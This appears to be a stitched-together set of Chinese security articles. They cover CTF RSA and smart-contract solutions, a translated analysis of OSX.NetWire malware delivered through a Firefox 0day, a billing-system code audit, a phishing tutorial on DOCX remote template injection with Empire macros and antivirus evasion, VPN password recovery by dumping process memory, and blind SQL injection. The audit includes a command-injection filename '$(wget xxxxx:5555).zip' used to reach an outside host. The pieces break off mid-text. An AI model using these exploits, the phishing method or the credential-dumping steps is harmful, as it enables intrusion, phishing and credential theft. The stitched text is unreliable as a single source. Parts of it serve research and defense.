m=sympy.nextprime(842868045681390934539739959201847552284980179958879667933078453950968566151662147267006293571765463137270594151138695778986165111380428806545593588078365331313084230014618714412959584843421586674162688321942889369912392031882620994944241987153078156389470370195514285850736541078623854327959382156753458029)
c=86974685960185109994565885227776590430584975317324687072143606337834618757975096133503732246558545817823508491829181296701578862445122140544748432956862934052663959903364809344666885925501943806009045214347928716791730159539675944914294533623047609564608561054087106518420308176681346465904692545308790901579479104745664756811301111441543090132246542129700485721093162972711529510721321996972649182594310700996042178757282311887765329548031672904349916667094862779984235732091664623511790424370705655016549911752412395937963400908229932716593592702387850259325784109798223415344586624970470351548381110529919234353
p=0
q=0
\#从m附近查找q或p
while(m>100):
if(n%m==0):
p=m
print "p="
print p
q=n/p
print "q="
print q
break
m=sympy.nextprime(m)
def egcd(a,b):
if a==0:
return (b,0,1)
else:
g,y,x=egcd(b%a,a)
return (g,x-(b//a)*y,y)
def modinv(a,m):
g,x,y=egcd(a,m)
if g!=1:
raise Exception(" error")
else:
return x%m
e=1
d=0
爆破e
while(e<100000):
\#try:
\#e=sympy.nextprime(e)
e=65537 #最后爆破成功的e
d=modinv(e,(p-1)*(q-1))
m=pow(c,d,n)
print long_to_bytes(m)
m_hex = hex(m)[2:]
\# try:
print m_hex
print("ascii:\n%s"%(binascii.a2b_hex(m_hex).decode("utf8"),))
\# except:
\# if(e%10000==0):
\# print e
#### babyrsa
一个数学结论：对于一个素数p来说，（p-1）的阶乘加上（p-2）的阶乘等于p乘以（p-2）的阶乘,能被p整除,（p-1）的阶乘除以p余p-1（因为p的阶乘能被p整除）
就是
(p-1)!+(p-2)!=p*(p-2)!
(p-1)!=p*(p-1)
(p-2)! % p=1
解密脚本如下：
import sympy
from Crypto.Util.number import long_to_bytes
def egcd(a,b):
if a==0:
return (b,0,1)
else:
g,y,x=egcd(b%a,a)
return (g,x-(b//a)*y,y)
def modinv(a,m):
g,x,y=egcd(a,m)
if g!=1:
raise Exception(" error")
else:
return x%m
a1=21856963452461630437348278434191434000066076750419027493852463513469865262064340836613831066602300959772632397773487317560339056658299954464169264467234407
b1=21856963452461630437348278434191434000066076750419027493852463513469865262064340836613831066602300959772632397773487317560339056658299954464169264467140596
a2=16466113115839228119767887899308820025749260933863446888224167169857612178664139545726340867406790754560227516013796269941438076818194617030304851858418927
b2=16466113115839228119767887899308820025749260933863446888224167169857612178664139545726340867406790754560227516013796269941438076818194617030304851858351026
n=85492663786275292159831603391083876175149354309327673008716627650718160585639723100793347534649628330416631255660901307533909900431413447524262332232659153047067908693481947121069070451562822417357656432171870951184673132554213690123308042697361969986360375060954702920656364144154145812838558365334172935931441424096270206140691814662318562696925767991937369782627908408239087358033165410020690152067715711112732252038588432896758405898709010342467882264362733
c=75700883021669577739329316795450706204502635802310731477156998834710820770245219468703245302009998932067080383977560299708060476222089630209972629755965140317526034680452483360917378812244365884527186056341888615564335560765053550155758362271622330017433403027261127561225585912484777829588501213961110690451987625502701331485141639684356427316905122995759825241133872734362716041819819948645662803292418802204430874521342108413623635150475963121220095236776428
p=1
q=1
i=1
l=0
for i in range(b1+1,a1-1):
p *= modinv(i,a1)
p %=a1
p=sympy.nextprime(p)
print "p="
print p
for i in range(b2+1,a2-1):
q *=modinv(i,a2)
q %=a2
q=sympy.nextprime(q)
print "q="
print q
r=n/q/p
print "r="
print r
fn=(p-1)*(q-1)*(r-1)
print "fn="
print fn
e=4097
d=modinv(e,fn)
print "d="
print d
m=pow(c,d,n)
print "m="
print m
print long_to_bytes(m)
#### 区块链1
做题的时候发现已经有人做出来了，然后去看做出来人的交易记录，发现是薅羊毛，通过逆向做出来人的记录，照抄了一个，payload合约如下：
/**
*Submitted for verification at Etherscan.io on 2019-10-08
*/
pragma solidity ^0.4.24;
contract P_Bank
{
mapping (address => uint) public balances;
uint public MinDeposit = 0.1 ether;
Log TransferLog;
event FLAG(string b64email, string slogan);
constructor(address _log) public {
TransferLog = Log(_log);
}
function Ap() public {
if(balances[msg.sender] == 0) {
balances[msg.sender]+=1 ether;
}
}
function Transfer(address to, uint val) public {
if(val > balances[msg.sender]) {
revert();
}
balances[to]+=val;
balances[msg.sender]-=val;
}
function CaptureTheFlag(string b64email) public returns(bool){
require (balances[msg.sender] > 500 ether);
emit FLAG(b64email, "Congratulations to capture the flag!");
}
function Deposit()
public
payable
{
if(msg.value > MinDeposit)
{
balances[msg.sender]+= msg.value;
TransferLog.AddMessage(msg.sender,msg.value,"Deposit");
}
}
function CashOut(uint _am) public
{
if(_am<=balances[msg.sender])
{
if(msg.sender.call.value(_am)())
{
balances[msg.sender]-=_am;
TransferLog.AddMessage(msg.sender,_am,"CashOut");
}
}
}
function() public payable{}
}
contract Log
{
struct Message
{
address Sender;
string Data;
uint Val;
uint Time;
}
string err = "CashOut";
Message[] public History;
Message LastMsg;
function AddMessage(address _adr,uint _val,string _data)
public
{
LastMsg.Sender = _adr;
LastMsg.Time = now;
LastMsg.Val = _val;
LastMsg.Data = _data;
History.push(LastMsg);
}
}
contract FatherOwned {
address owner;
modifier onlyOwner{ if (msg.sender != owner) revert(); _; }
}
contract Attack
{
address owner;
P_Bank target;
constructor(address my) public {
owner = my;
target = P_Bank(0xF60ADeF7812214eBC746309ccb590A5dBd70fc21);
target.Ap();
target.Transfer(owner, 1 ether);
selfdestruct(owner);
}
}
contract Deploy is FatherOwned
{
constructor() public {
owner = msg.sender;
}
function getflag() public onlyOwner {
P_Bank target;
target = P_Bank(0xF60ADeF7812214eBC746309ccb590A5dBd70fc21);
target.CaptureTheFlag("[email protected]");
}
function ffhhhhhhtest1() public onlyOwner {
uint i;
for (i=0; i<10; i++){
new Attack(owner);
}
}
function ffhhhhhhtest2() public onlyOwner {
uint i;
for (i=0; i<30; i++){
new Attack(owner);
}
}
function ffhhhhhhtest3() public onlyOwner {
uint i;
for (i=0; i<50; i++){
new Attack(owner);
}
}
function ffhhhhhhtest4() public onlyOwner {
uint i;
for (i=0; i<70; i++){
new Attack(owner);
}
}
}
#### 智能合约2
给的源码和实际的不一样，同样了看了下之前做出来的人的交易，发现了一个函数：0x5ad0ae39
逆向一下得到大概代码：
func 0x5ad0ae39(address1, address2, uint, address3)
require(allowance[address1][msg.sender] >= uint)
require(address3 == msg.sender + 0x32c3edb)
balanceOf[address1] -= _value;
balanceOf[address2] += _value;
allowance[address1][msg.sender] -= _value;
然后在标准token的sol里面有一个函数：
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
通过approve函数给allowance[msg.sender][msg.sender]赋值，随便大于1000的值就行。
然后调用0x5ad0ae39，这里就比较蛋疼了，因为爆破不出这个函数名，没法直接用remix做题，没办法只能写代码了。
过程如图：
* * * | 社区文章 |
# 利用Firefox 0day传播的macOS恶意软件（Part 1）
|
##### 译文声明
本文是翻译文章，文章原作者 objective-see，文章来源：objective-see.com
原文地址：<https://objective-see.com/blog/blog_0x43.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
大概在一星期之前，我收到了某个用户发出的一封邮件：
> 上周三，攻击者通过尚未公开的一个Firefox 0day攻击了我，不知道用什么方法将一个程序释放到我的mac主机上（10.14.5）然后执行。
>
> 我觉得你可能对这个文件比较感兴趣，这可能是绕过gatekeeper的一种有趣方法，值得研究一下。
我当然很感兴趣，但当时我正在写另一篇文章（大家可以点击[此处](https://objective-see.com/blog/blog_0x42.html)阅读该文章），有点腾不出手来。
现在尘埃落定，我想借此机会深入研究这次攻击行为，分析其中涉及到的持久化恶意软件。
## 0x01 Firefox 0day
用户联系我时，我还没有太多掌握此次攻击中使用的Firefox 0day，然而现在我已经拿到了足够多信息。
一开始用户提供的邮件内容如下（翻译版）：
> XXX：
>
> 您好，我叫Neil Morris，是亚当斯奖（Adams Prize）组委会的一名成员。
>
>
> 每年我们都会更新独立专家团队成员，这些专家需要评审参选项目（[http://people.ds.cam.ac.uk/nm603/awards/Adams_Prize）的质量。](http://people.ds.cam.ac.uk/nm603/awards/Adams_Prize%EF%BC%89%E7%9A%84%E8%B4%A8%E9%87%8F%E3%80%82)
>
> 我的同事推荐您加入这一领域的专家团队中。
>
> 我们需要您参评竞争亚当斯奖的几个项目。
>
> 期待您的回复。
>
> 祝好，
>
> Neil Morris
这里提一下，即便攻击者拥有浏览器0day利用技术，他们仍需要找到方法将攻击payload投递给目标用户。
选定目标后，攻击者通常会选择电子邮件作为投递方式，邮件中包含指向恶意网站的链接（当用户访问该网站时可以投递漏洞利用payload）。
不幸的是，当时该链接（`people.ds.cam.ac.uk/nm603/awards/Adams_Prize`）已失效，返回`404 Not
Found`错误：
$ curl http://people.ds.cam.ac.uk/nm603/awards/Adams_Prize
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /nm603/awards/Adams_Prize was not found on this server.</p>
<hr>
<address>Apache/2.4.7 (Ubuntu) Server at people.ds.cam.ac.uk Port 80</address>
</body></html>
当然有可能该站点只为该攻击活动提供服务，只有当用户通过存在漏洞的Firefox浏览器、或者通过特定IP地址等来访问时，才会触发攻击过程。也有可能攻击过程已经结束，攻击者关闭了该站点。
虽然我无法获得利用代码，但用户依然向我提供了攻击过程中安装在他系统中的恶意软件（名为`Finder.app`）。
本文将对这款恶意软件进行详细分析（哈希：`23017a55b3d25a2597b7148214fd8fb2372591a5`）。
$ shasum -a 1 ~/Attack/Finder.app/Contents/MacOS/Finder
23017a55b3d25a2597b7148214fd8fb2372591a5 Finder
有趣的是，来自Coinbase的一名安全研究者（[Philip
Martin](https://twitter.com/SecurityGuyPhil)）在今天发表了一则比较有趣的[推文](https://twitter.com/SecurityGuyPhil/status/1141466339518767104)：
Phil提供的哈希值（`23017a55b3d25a2597b7148214fd8fb2372591a5`）刚好与用户发给我的恶意文件相匹配。此外用户还提到一个信息，最近他“参与了加密货币交易事宜”。综合这些信息，很有可能我和Phil讨论的都是同一个Firefox
0day。
这个0day现在对应的编号为CVE-2019-11707，已经被修复，其他文章中也提到了这个漏洞：
* “[Mozilla patches Firefox zero-day abused in the wild](https://www.zdnet.com/article/mozilla-patches-firefox-zero-day-abused-in-the-wild/)”
* “[Mozilla Patches Firefox Critical Flaw Under Active Attack](https://threatpost.com/mozilla-patches-firefox-critical-flaw-under-active-attack/145814/)“
然而，关于攻击中使用的后门恶意软件资料较少（或者没有），因此我们可以深入分析一下。
## 0x02 Mac后门分析（OSX.NetWire.A）
前面提到过，受害者向我提供了攻击者（通过Firefox 0day）安装在系统上的恶意后门（`Finder.app`）。
在VirusTotal上搜索对应的哈希后（`23017A55B3D25A2597B7148214FD8FB2372591A5`），我找到了一个匹配结果，显示这个文件已于2019-06-06提交，但目前只有一个反病毒引擎能够检测到：
> 备注：完整的应用程序包`Finder.app`今天才被提交到VirusTotal上，同样只有一个AV引擎能够检测。
有趣的是，这个反病毒引擎将其标记为`OSX.Netwire`。
`OSX.Netwire`（或者`OSX.Wirenet`）最早于2012年被Dr
Web发现。在这篇[研究文章](https://news.drweb.com/show/?i=2679&lng=en)中，Dr
Web表示这是“历史上第一款能够窃取Linux及MacOS X密码的后门”。
恶意软件通过键盘记录器以及/或者直接通过磁盘上的文件（比如已保存的浏览器登录信息）来窃取密码：
$ strings malware/2012/OSX.Netwire
%s/Library/Opera/wand.dat
%s/.Library/Opera/wand.dat
SeaMonkey
Thunderbird
%s/Library/Application Support/Firefox
%s/signons.sqlite
NSS_Init
PK11_GetInternalKeySlot
PK11_Authenticate
NSSBase64_DecodeBuffer
select * from moz_logins
但这是2012年时的`OSX.Netwire`，现在这款恶意软件是否还是`OSX.Netwire`？我个人从2012年后再也没听到过关于`OSX.Netwire`的任何信息，因此决定研究一下。
首先，我们可以通过简单的字符串匹配方法，确认2012年的样本与2019年的样本有所关联。
比如，2012年样本中包含`\x03\x04\x15\x1A\r\nexit\r\n\r\nexit\n\n`字符串：
esi = "/bin/sh";
if(access(esi) != 0x0) {
esi = "/bin/bash";
}
...
eax = write$UNIX2003(*0x140d0, "x03x04x15x1Arnexitrnrnexitnn", 0x15);
同样，2019年样本中也包含该特征：
if(stat("/bin/sh", edi) != 0x0) {
ebp = "/bin/bash";
}
...
write$UNIX2003(ebx, "x03x04x15x1Arnexitrnrnexitnn", 0x15)
此外还有一些特殊的字符串也能在两个样本中找到。
在与小伙伴（安全研究员）交流时，他注意到XProtect已经能够检测到这个新样本。
>
> XProtect是Apple在macOS中内置的反恶意软件系统，大家可以参考[此处](https://www.howtogeek.com/217043/xprotect-> explained-how-your-macs-built-in-anti-malware-works/)了解更多信息。
我对此有所怀疑（因为我记得XProtect最近并没有关于`OSX.Netwire`的任何更新），然而事实证明小伙伴是正确的。
2016年，Apple添加了一个Yara特征，用来检测`OSX.Netwire.A`。这个特征（参考`/System/Library/CoreServices/XProtect.bundle/Contents/Resources/XProtect.yara`）如下所示：
rule NetwireA
{
meta:
description = "OSX.Netwire.A"
strings:
$a = "exitexit"
$b = "User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like GeckoAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"
condition:
all of them
}
我们可以使用Digita的[UXProtect](https://digitasecurity.com/uxprotect/)工具以图形界面显示该特征：
还可以利用[UXProtect](https://digitasecurity.com/uxprotect/)确认（2016年推出的）这个特征依然可以检测此次Firefox
0day攻击中使用的恶意软件：
Apple之前提供的特征竟然还能检测这个“新的”威胁！
有趣的是Apple的特征并不能检测2012年的样本（因为该样本不包含`User-Agent:
Mozilla...`）字符串，这表明虽然这两个样本有所关联，但也存在不同之处。
> 目前我还找不到有关于这个新样本的（公开）资料。
>
> 有趣的是，Intego在2016年曾发表过关于Apple XProtect的一篇小文章：[Apple Updates XProtect Malware
> Definitions for NetWeirdRC](https://www.intego.com/mac-security-blog/apple-> updates-xprotect-malware-definitions-for-netweirdrc/)。
>
> 然而，他们（以及其他人）引用的都是2012年的样本，而该样本并不能被Apple的`OSX.Netwire.A` YARA特征检测到。
>
> 通常情况下，这表明Apple已经知道一些信息，但不愿与大家分享，或者也有可能不愿意与我分享：
>
>
虽然2012年和2019年的样本明显有关联，但也有很多不同点。我们会在Part
2中透露更多细节，深入分析（新版）恶意软件样本的功能。简而言之，2012年及2019年样本的目标完全不同。我猜测这两款恶意软件都由同一个开发者（或者团队）编写，但服务于不同的目的（比如2012年的样本只关心密码窃取）。
在总结Part 1之前，我们来看一下新版`OSX.NetWire.A`如何实现本地驻留。
快速查看恶意软件的反汇编代码后，我们可以找到其中内置的一个启动代理plist：
memcpy(esi, "<?xml version="1.0" encoding="UTF-8"?>n<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//ENnt"http://www.apple.com/DTDs/PropertyList-1.0.dtd">n<plist version="1.0">n<dict>n <key>Label</key>n <string>%s</string>n <key>ProgramArguments</key>n<array>n <string>%s</string>n </array>n <key>RunAtLoad</key>n <true/>n <key>KeepAlive</key>n <%s/>n</dict>n</plist>");
...
eax = getenv("HOME");
eax = __snprintf_chk(&var_6014, 0x400, 0x0, 0x400, "%s/Library/LaunchAgents/", eax);
...
eax = __snprintf_chk(edi, 0x400, 0x0, 0x400, "%s%s.plist", &var_6014, 0xe5d6);
因此有理由推测该恶意软件会以启动代理方式实现驻留。
然而，恶意软件中还包含以登录项实现驻留的代码逻辑（注意其中调用了`LSSharedFileListInsertItemURL` API）:
eax = __snprintf_chk(&var_6014, 0x400, 0x0, 0x400, "%s%s.app", &var_748C, &var_788C);
eax = CFURLCreateFromFileSystemRepresentation(0x0, &var_6014, eax, 0x1);
...
eax = LSSharedFileListCreate(0x0, **_kLSSharedFileListSessionLoginItems, 0x0);
...
eax = LSSharedFileListInsertItemURL(eax, **_kLSSharedFileListItemLast, 0x0, 0x0, edi, 0x0, 0x0);
在虚拟机中运行恶意软件后，我们发现恶意软件同时采用了这两种方法。首先是作为启动代理（`com.mac.host.plist`），然后是作为登录项：
$ cat ~/Library/LaunchAgents/com.mac.host.plist
{
KeepAlive = 0;
Label = "com.mac.host";
ProgramArguments = (
"/Users/user/.defaults/Finder.app/Contents/MacOS/Finder"
);
RunAtLoad = 1;
}
由于这个启动代理（`com.mac.host.plist`）设置了`RunAtLoad`键（值为`1`），因此每次用户登录时，系统会自动运行指定的程序（`.defaults/Finder.app/Contents/MacOS/Finder`）。
登录项也可以确保恶意软件能被运行。然而登录项会显示在UI界面中，这显然不利于恶意软件实现隐蔽驻留：
采用两种驻留机制是不是比一种机制更好？不一定，如果大家使用了Objective-See提供的[BlockBlock](https://objective-see.com/products/blockblock.html)工具，就能轻松检测到这两种驻留机制：
>
> 关于以登录项（以及`backgroundTaskManagementAgent`角色）实现驻留，大家可以参考我最近的一篇[文章](https://objective-> see.com/blog/blog_0x31.html)了解更多细节。
我们也可以使用[KnockKnock](https://objective-see.com/products/knockknock.html)，通过探测恶意软件的驻留方式来检测系统是否已被感染。
可能恶意软件开发者需要确保自己能万无一失实现驻留，才采用这种攻击方式。
## 0x03 总结
在本文中，我们讨论了针对加密货币交易的一种较为复杂的持久化payload。攻击者利用Firefox 0day将恶意软件部署到目标macOS中。
有趣的是，这个恶意软件为`OSX.NetWire.A`，与2012年同名的样本有一定联系，并且Apple于2016年部署的检测特征能成功发现这款恶意软件，但其实事情没那么简单。
在受害者的原始邮件中，曾提到这款恶意软件可以绕过Gatekeeper。这一点其实很正常，因为恶意软件采用的是远程0day漏洞进行投递。Gatekeeper只会扫描带有隔离属性集的应用程序，而只有当应用程序通过常见方式进行下载时（比如通过用户点击），浏览器等应用或者操作系统才会在下载的程序中添加这些属性集。通过漏洞利用代码下载的payload（比如恶意应用）并不会设置隔离属性（或者可以移除这些属性），因此就不会触发Gatekeeper。
我曾经在2016年的一次[演讲](https://speakerd.s3.amazonaws.com/presentations/9e724ea233434f9fb083bff26bc7fb4b/ShmooCon_2016.pdf)中提到过这一点。
> 同样，XProtect只会对设置了隔离属性的文件进行操作。然而，macOS
> 10.15（Catalina）可能会[修改](https://eclecticlight.co/2019/06/12/grokking-> gatekeeper-in-catalina/)这种机制。
由于攻击者采用的特殊感染方式（通过Firefox
0day），Gatekeeper以及XProtect都无法保护用户。因此，单纯依赖系统提供的安全保护机制永远都不是明智之举。 | 社区文章 |
### 0x00 前言
代码审计的系统为某计费系统，本着学习交流的态度对本系统进行了审计，在审计过程中发现了诸多安全问题，本文在此列出几项比较经典的漏洞。在此感谢花茶安全团队的天堂空气提供的源码。
### 0x01 XSS漏洞
在路由userdatachange中存在XSS漏洞，此路由为用户资料修改页面，在此路由中，并不存在XSS漏洞，原因是该系统存在XSS过滤器，但是并不会影响我们保存在数据库中的数据，此XSS代码会在其他地方被触发，造成二阶XSS漏洞。
首先我们来到userdatachange路由，在进入了该userDataChange()函数后,首先会进行登录判断，随后对相关的用户权限和用户信息进行校检，校检通过后进行下面流程。
接下来函数会把我们提交过来的数据进行赋值处理，这里调用了UserDataChangeReq这个接口类的数据，在赋完值后，进行后面处理
在处理完提交过来的数据后，将会调用接口commonService中的updata()这个函数把数据存入数据库中去，可以看到，这些地方没有对数据进行过滤处理，直接把原数据存入数据库
此XSS的触发点为后台某功能处，下面来看下
在后台路由/user/operator中，函数前面还是先对相关的登录用户进行信息和登录状态的检查，在没有问题了后，将组合相关的查询语句
这里调用了数据库查询函数baseQuery()操作，把查询出来的用户信息返回输出到前台
登录普通用户账号，来到修改资料地方，在用户姓名处或者其他地方输入XSS测试代码后保存
在后台用户信息查看处，成功触发XSS漏洞
### 0x02 用户名枚举
在路由getindexchart中，首先获取到了用户的账号名称，然后对用户名称进行了查询，如果账号不存在，则输出不存在的信息
如果存在账号，则标记为存在并返回账号的相关状态信息
在代码中，我们可以看到，里面并没有对登录情况进行判断，所以我们可以在没有登录的情况下进行账户名枚举
当账号正确时输出信息
当账号错误时输出信息
### 0x03 未授权文件下载
在路由cardgroupexport中，我们可以看到函数接口并没有对登录的用户进行状态判断，直接进行了相关的操作。在函数中，当相关静态变量信息处理成功后，函数会调用接口commonService中的listALL函数进行信息查询，随后调用excel处理函数类进行excel表处理
在处理完excel表后，执行exportExcel()函数进行excel表导出
直接访问导出路由页面
### 0x04 任意用户密码读取
在路由checkUserIdPassword中，这里直接调用了接口commonService中的listALL函数进行信息查询，查询完后直接返回查询结果
我们来看下它都查询了些什么东西
这里我们跟进TAccounts函数，可以看到查询的信息为账号表中的所有信息，其中还包括了账号密码等敏感信息
在整个函数中，并没有对用户登录状态进行判断，所以我们可以直接利用未授权查看所有用户的账号密码，造成用户信息泄露
我们这里查询sxq账户，可以看到已经返回了相关敏感信息
查询test账户并返回相关信息
### 0x05 任意文件上传
在路由areaManagementUpdate中，在这个函数里面，先判断了用户是否是登录状态，咋看下可能没有未授权，但是我们仔细看下可以发现的是，这个函数虽然判断了用户是否登录，但是它并没有退出函数和跳转函数的存在，所以函数在报错后依然会执行并上传文件，我们在这里就可以确定，这个地方存在未授权访问导致文件上传。
函数在执行到下方代码时，会调用uploadFile()函数，我们跟进uploadFile()这个函数
我们来到uploadFile()函数中，uploadFile()函数在进行了一系列的上传数据处理后，开始进行文件生成处理。
> 在680行左右，函数生成了新的文件名，我们可以看到，这个地方直接提取了我们提交的文件名，并没有存在过滤函数，文件名我们可控
String newfileName = DateUtil.fomatDateToString(new Date(), "yyyyMMddHHmmss") + StringUtil.getRandom(3) + i + ((MultipartFile)mf.get(0)).getOriginalFilename().substring(((MultipartFile)mf.get(0)).getOriginalFilename().lastIndexOf("."));
随后在682行时，进行了写入路径拼接，最后调用写文件函数，到这里我们就可以知道，我们可以上传任意文件了
首先根据代码中提供的参数，我们构造上传页面
成功getshell
### 0x06 RCE漏洞
这个RCE漏洞比较有趣，我们一起来看下
在路由pageTemplateAddFile中,函数首先判断了上传文件的类型，随后调用了uploadFile()函数,我们跟进uploadFile()函数
来到了uploadFile()函数后，看到函数先提取了上传的文件信息，然后对上传文件的相关信息进行了判断解析，这里判断了后缀名称，只能上传zip文件
然后在判断结束后，如果都正常的话，就会进入到unzipFile()解压函数中去，我们跟进unzipFile()函数
在这个地方，我们可以看到，unzipFile()函数调用了系统命令来对我们传入的文件进行解压，文件名是我们可以控制的，所以这个地方就造成了命令执行，在整个过程中，函数既没有判断登录状态也没有过滤判断文件名，所以这个路由是可以通过未授权访问并进行远程命令执行的
我们直接根据函数中提供的参数进行上传包构造，然后利用burpsuite对文件名进行修改，修改为$(wget
xxxxx:5555).zip，然后在公网监听5555端口，这里可以看到我们成功监听到了服务器发送过来的请求。
### 0x07 总结
在整个审计过程中，我们可以发现，其中常规的用户交互操作都是有严格校检的，但是对于一些程序调用接口，却没有做安全防护措施。其实在很多系统中也是一样，在接口调用方面的安全情况很糟，这种侧边界问题往往就是很容易忽视的点。 | 社区文章 |
# 利用DOCX文档远程模板注入执行宏
* * *
本文翻译自：<http://blog.redxorblue.com/2018/07/executing-macros-from-docx-with-remote.html>
* * *
## 导读：
在这篇文章中，我想谈谈并展示下不久前向我看到的代码执行的方法。此方法允许用户创建一个将被加载的DOCX文档，并使用远程DOTM模板文件去执行宏。正如[Cisco
Talos](https://blog.talosintelligence.com/2017/07/template-injection.html)的博客所述，这种攻击很常见，在[开源攻击性安全工具](https://github.com/ryhanson/phishery/blob/master/badocx/badocx.go)中也有一些。但在博客文章和开源工具中，它通常只被看作通过SMB协议窃取凭证的攻击。此博客文章将详细介绍如何通过识别HTTP(s)代理将启用宏的模板下载到DOCX文档中的方法。
## 原理：
与传统的宏启用文档相比，这种攻击的好处是多方面的。在对目标执行网络钓鱼攻击时，您可以将.docx的文档直接附加到电子邮件中，并且您不太可能根据文件的拓展名去阻止它。许多组织机构阻止以.doc或.docm为拓展名的文档却允许.docx文档，是因为它们不会包含宏。
这种攻击更常见另一个原因可能是因为附件本身不包含恶意代码，任何静态电子邮件扫描程序都不会看到宏本身，因此不太可能被阻止。如果您的目标使用沙箱打开电子邮件附件，您可以使用各种沙箱规避技术，例如modrewrite规则或IP限制，以防止沙箱破坏恶意模板。[@bluescreenofjeff](https://twitter.com/bluscreenofjeff)在他的[Red
Team Infrastructure Wiki](https://github.com/bluscreenofjeff/Red-Team-Infrastructure-Wiki)中，就有创建modrewrite规则的精彩指南。
## 方法：
想要开始此攻击，我们需要创建两个不同的文件。第一个是启用宏的模板，或是.dotm文件，它将包含恶意VBA宏。第二个是看似没有危害的.docx文件，它本身不包含恶意代码，只有指向恶意模板文件的目标链接。
### 开始：
在我向其他人提供的博客文章和培训中，使用免费的开源工具来展示例子。我之所以这样做，是因为我希望任何阅读此博客的人都可以自己尝试（主要针对他们自己的或是他们有权使用的系统去尝试）并且不想强迫人们购买商业工具。出于这个原因，我将介绍创建远程模板文档以执行[PowerShell
Empire](https://github.com/EmpireProject/Empire)
Payload(攻击负载)的步骤。为了达到这篇文章的目的，我不会详细说明如何在这里为Empire创建监听器或宏，而至于如何做到这一点有很多教程。下面，我将逐步创建文档来执行宏。
### 创建启用宏的模板：
想要使此攻击起作用，我们需要创建一个支持宏的Word模板（.dotm文件扩展名），其中将包含我们的恶意Empire宏。打开Word并勾选功能区上的Developer选项卡使其可见：
然后从Developer选项卡打开Visual Basic编辑器，双击当前项目下的ThisDocument，打开代码窗口，将宏代码粘贴到此窗口中：
将模板命名并另存为.dotm格式。请注意，用户通常可以看到该文件名，因此我推荐一些看似无害的名称，例如`InvoiceTemplate.dotm`：
由于我刚刚使用PowerShell Empire中的默认宏，因此很快就会被Windows
Defender发现，为了演示我将禁用它。如果您的目标使用了Windows Defender，则需要选择其他工具或执行模糊处理，直到您可以获得有效的宏。
此时，我倾向于通过双击文档来确认我的模板和宏，确保获得了“启用内容”按钮，以及在点击它时拿到肉鸡：
有作用！
### 创建远程模板加载文档：
在模板有作用的情况下，现在我们需要创建一个.docx文件，该文件将从远程资源下载并加载模板。我发现最简单方法是从一个提供模板的word中创建一个.docx文档，然后只需修改目标即可：
根据需要修改文档以满足您的网络钓鱼方案，以便让目标用户单击“启用内容”按钮（如果它有显示）。然后以.docx格式保存文档。
接下来，找到该文档并右键单击并将文档中的扩展名从.docx重命名为.zip。将zip文件的内容解压缩到文件夹并浏览到该文件夹。
注意：随着Office
2007的发布，Microsoft引入了以“x”字符结尾的格式。这些格式中的每一种都只是包含.xml和.rel文件的zip文件。您可以通过更改这些文件来手动编辑文档及其属性，然后重新压缩内容。
进入到`.\word\_rels\`文件夹并使用文本编辑器（如记事本）打开`settings.xml.rels`文件：
包含带有attachmentTemplate的Type的`Relationship`标记，是告诉Word打开该.docx时从哪里加载模板的设置。当前，这是从本地文件系统加载模板。
关键是此值可以接受Web URL。我们可以将Target值修改为远程位置。在这种情况下，我在GitHub上托管我启用宏的模板：
保存此文件后，我们可以将内容压缩回来并将文件重命名为.docx。下次我们打开我们的.docx时，我们可以看到该文件通过HTTPS与我们的托管服务联系，并下载模板：
现在我们的.docx文件中加载了一个宏，并允许它运行宏：
虽然有一个新的弹出窗口，但它不会影响Payload。这只是因为.docx文件不包含宏。如果用户单击“启用内容”或将宏设置为自动运行，那么我们将拿到肉鸡：
现在准备您的网络钓鱼电子邮件，将.docx发送给用户，然后等待上钩！ | 社区文章 |
本文仅限技术研究与讨论，严禁用于非法用途，否则产生的一切后果自行承担。
#### 序言
学习到的姿势，分享出来，手法也很基础，请各位师傅多多指教。
#### 测试
##### VPN
一般情况下，我们进行内网渗透过程中获取到管理员或者其他目标主机时多数情况会遇到主机中存在VPN连接客户端并大多数都是保存密码，如图：
##### 星号查看器
此时获取目标时一般情况下会想到星号查看器，但是由于客户端做了防护，无法用星号查看器获取到内容，如图：
##### 密码获取
发现当Client端当用户密码错误时会出现在内存中，我们可以将正确的密码后面加个字符（如：$）
然后我们将Client进程的内存进行dump，这里使用procdump，然后strings一下
# 需提前查看Client的PID或者直接使用Client进程名称
procdump64.exe -accepteula -ma 14256 vpn.dmp
strings vpn.dmp | grep -F 'PIN:' -A 6
#### 写到最后
以上测试过程纯属本人杜撰，请遵守《网络安全法》等相关法律法规。 | 社区文章 |
# 0x01前言
在渗透测试过程中，开发不可能每一次都将结果输出到页面上，也就是漏洞无回显的情况，那么在这种情况下，我们可以通过dnslog判断漏洞存在，或者通过起一个python的http服务来判断，方法很多，下面主要进行一些情况的分析。
# 0x02无回显概念
无回显，即执行的payload在站点没有输出，无法进行进一步操作。在渗透测试过程中，漏洞点不可能总是能够在返回页面进行输出，那么这时候就需要进行一些无回显利用了。
# 0x03不同漏洞的无回显
## 1、SQL注入无回显
SQL注入，作为OWASP常年占据榜首位置的漏洞，在无回显中也是常见的。当然SQL注入在无回显上已经具有了一定的解决措施。
无回显我将其定义为页面没有输出我们想要得到的内容，下面以sqli-labs为例进行讲解。
### 1.1 布尔盲注
布尔盲注，盲注的一种，当网站通过查询语句的布尔值返回真假来输出页面信息的时候，查询语句为真，页面输出内容；查询语句为假，页面不输出内容。那么这里就可以通过构造等号判断，获取相应的字符的ascii码，最后还原出数据。具体测试过程如下：
1、id传参1之后，页面返回有数据，这里明显不能进行显错注入了。
2、在传参后面加个单引号，页面返回空，不显示错误信息，不能使用报错注入。
3、通过拼接and 1=1和and 1=2，发现页面对于布尔值的真与假返回的页面结果也不同。
4、通过length()函数判断数据库库名的长度大于1。
?id=1' and length(database())>1 %23
5、在大于8的时候页面返回空，所以数据库库名长度等于8。
6、通过ascii()函数和substr ()截取函数获取数据库库名的第一个字符的ascii码
?id=1' and ascii(substr((select database()),1,1))>97 %23
?id=1' and ascii(substr((select database()),1,1))=101 %23
首先用大于号判断出大概所处的值，最后使用等于号验证ascii码的值。此处得出数据库库名的第一个字符的ascii码值为115，对应字符为s。
